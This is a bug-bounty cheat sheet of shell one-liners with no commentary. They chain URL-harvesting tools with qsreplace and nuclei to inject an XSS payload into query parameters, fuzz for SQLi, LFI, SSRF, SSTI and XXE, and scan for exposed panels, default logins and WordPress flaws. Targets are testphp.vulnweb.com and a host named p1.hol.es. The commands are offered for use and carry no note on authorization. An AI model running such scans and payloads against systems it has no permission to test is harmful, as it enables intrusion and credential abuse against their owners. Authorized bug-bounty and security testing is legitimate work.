One Liner for Bug Bounty Hunting by RootBakar
echo "testphp.vulnweb.com" | waybackurls | urldedupe -qs -s > waybck_results.txt
echo "testphp.vulnweb.com" | gau | urldedupe -qs -s > gau_results.txt
cat waybck_results.txt gau_results.txt | anew combine.txt
cat combine.txt
echo "testphp.vulnweb.com" | waybackurls | urldedupe -s -qs -ne | gf xss | qsreplace '"><img src=x onerror=alert(1)>' | freq | egrep -v 'Not'
echo "testphp.vulnweb.com" | gau --fc 200 | urldedupe -s -qs | gf lfi redirect sqli-error sqli ssrf ssti xss xxe | qsreplace FUZZ | grep FUZZ | nuclei -silent -t ~/nuclei-templates/dast/vulnerabilities -dast -silent
echo "testphp.vulnweb.com" | gau --fc 200 | urldedupe -s -qs -ne | gf xss | qsreplace '"><img src=x onerror=alert(1)>' | freq | egrep -v 'Not'
echo "p1.hol.es" | nuclei -t ~/nuclei-templates/http/exposed-panels -silent
nuclei -target http://p1.hol.es/ -t ~/nuclei-templates/http/exposed-panels -silent
echo "p1.hol.es" | nuclei -t ~/nuclei-templates/http/exposures -silent
nuclei -target http://p1.hol.es/ -t ~/nuclei-templates/http/exposures -silent
echo "p1.hol.es" | nuclei -t ~/nuclei-templates/http/default-logins -silent
nuclei -target http://p1.hol.es/ -t ~/nuclei-templates/http/default-logins -silent
echo "p1.hol.es" | nuclei -t ~/nuclei-templates/default-logins -silent
nuclei -target http://p1.hol.es/ -t ~/nuclei-templates/default-logins -silent
echo "p1.hol.es" | nuclei -t ~/nuclei-templates/http/vulnerabilities/wordpress -silent
nuclei -target http://p1.hol.es/ -t ~/nuclei-templates/http/vulnerabilities/wordpress -silent
echo "p1.hol.es" | nuclei -t ~/nuclei-templates/http/vulnerabilities/ -silent
nuclei -target http://p1.hol.es/ -t ~/nuclei-templates/http/vulnerabilities/ -silent
echo "testphp.vulnweb.com" | httpx -silent | katana -silent > katana.txt; echo "testphp.vulnweb.com" | httpx -silent | hakrawler -u > hakrawler.txt; cat katana.txt hakrawler.txt | urldedupe -qs > finish.txt
cat finish.txt
echo "testphp.vulnweb.com" | waybackurls > waybackurls.txt; echo "testphp.vulnweb.com" | gau > gau.txt; cat waybackurls.txt gau.txt | urldedupe -qs | httpx -silent -mc 200 > finish2.txt
cat finish2.txt
subfinder -d example.com -o subs-example.txt
cat subs-example.txt | httpx -silent | anew subs-example-alive.txt
cat subs-example-alive.txt | httpx -silent -status-code -title
nuclei -list subs-example-alive.txt -t ~/nuclei-templates/http/exposures -silent
nuclei -list subs-example-alive.txt -t ~/nuclei-templates/http/default-logins -silent